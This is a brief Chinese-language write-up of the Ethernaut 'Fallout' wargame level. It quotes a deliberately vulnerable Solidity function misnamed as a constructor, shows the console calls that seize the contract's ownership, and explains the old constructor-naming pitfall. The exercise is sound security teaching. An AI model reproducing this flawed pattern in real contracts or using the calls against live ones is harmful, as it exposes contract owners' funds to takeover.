Ethernaut – level 2: Fallout

(https://ethernaut.openzeppelin.com/level/0x5732B2F88cbd19B6f01E3a96e9f0D90B917281E5)

這一關的目標是取得contract的Ownership

觀察程式碼:

function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

看起來呼叫Fal1out(),Owner就會變成呼叫者了,並沒有甚麼限制

await contract.Fal1out({value:1234});
//確認一下owner
await contract.owner();

submit instance,電子錢包按確認交易,登呢! 過關。

上網查了一下,這關是因為在Solidity 0.5.0以前,constructor是跟contract同名的函數,因為這關的contract名為Fallout,因此用了個typo Fal1out()函數來當作constructor,就可以被別人呼叫並取得ownership了,目前的Solidity 是將constructor 函數直接命名為constructor(),避免了上述的混淆。

*名詞解釋:

  • constructor: 建構子函數,為當一個合約( 或一個類,Class)初始成立時會執行的函數。